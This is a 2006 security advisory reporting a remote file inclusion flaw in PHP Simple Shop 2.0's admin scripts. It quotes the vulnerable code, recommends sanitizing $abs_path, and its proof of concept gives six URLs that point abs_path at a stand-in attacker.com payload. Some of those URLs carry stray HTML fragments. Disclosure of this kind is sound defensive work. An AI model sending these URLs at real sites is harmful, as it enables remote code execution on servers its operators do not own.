Author : Ahmad Maulana a.k.a Matdhule
Date Found : August, 07th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Simple Shop
Application : PHP Simple Shop
version : Latest version [2.0]
URL : http://www.turnkeywebtools.com/phpsimpleshop
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
In folder admin we found vulnerability script index.php
---------------------------index.php---------------------------------------
....
<?PHP
/*
index.php - $DATE$ - $TIME$ - $VERSION$
PHP Simple Shop
http://www.turnkeywebtools.com/phpsimpleshop/
Copyright (c) 2001-2005 Turnkey Web Tools, Inc.
*/
if (isset($abs_path) && $abs_path != "") {
include $abs_path."admin/adminglobal.php";
} else {
include "./adminglobal.php";
}
...
----------------------------------------------------------
Input passed to the "abs_path" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files :
adminindex.php
adminglobal.php
login.php
menu.php
header.php
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=lass="fixed">http://attacker.com/inject.txt?
Solution:
~~~~~~~
- Sanitize variable $abs_path on affected files.
Notification:
~~~~~~~~~~
I've been contacting the web/software administrator to tell about this hole in his system,
but instead of giving a nice response, he replied so rudely and arrogantly.
I recommend not to use this product for your own sake.
